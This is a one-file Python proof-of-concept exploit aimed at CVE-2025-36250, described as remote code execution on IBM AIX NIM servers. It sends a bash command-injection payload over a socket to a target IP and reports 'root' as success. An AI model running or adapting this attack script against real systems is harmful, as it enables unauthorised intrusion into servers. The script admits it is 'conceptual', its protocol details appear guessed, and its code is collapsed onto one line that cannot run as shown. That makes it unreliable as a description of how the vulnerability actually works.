CVE-2025-36250

# CVE-2025-36250 PoC - IBM AIX NIM Server nimesis Remote Code Execution # Note: This is a conceptual PoC for educational purposes only import socket import struct import sys def create_nim_packet(command_type, payload): """Create a NIM protocol packet with malicious payload""" header = struct.pack('>I', command_type) # Command type header += struct.pack('>I', len(payload)) # Payload length return header + payload.encode('utf-8') def exploit_nimesis(target_ip, target_port=9999): """ Exploit CVE-2025-36250 This PoC demonstrates the attack concept for the NIM nimesis vulnerability """ # Malicious command injection payload # The actual exploit would target specific protocol weaknesses cmd = "$(/bin/bash -c 'whoami > /tmp/pwned')" # NIM_OP_OBJECT defines an object operation packet = create_nim_packet(0x00000001, cmd) try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(30) sock.connect((target_ip, target_port)) print(f"[*] Sending exploit payload to {target_ip}:{target_port}") sock.send(packet) response = sock.recv(1024) print(f"[+] Received response: {response}") # Check if exploit was successful sock.send(b"check_result /tmp/pwned") result = sock.recv(1024) if b"root" in result: print("[+] Exploit successful! Remote code execution achieved.") sock.close() return True except Exception as e: print(f"[-] Exploit failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) target = sys.argv[1] exploit_nimesis(target)

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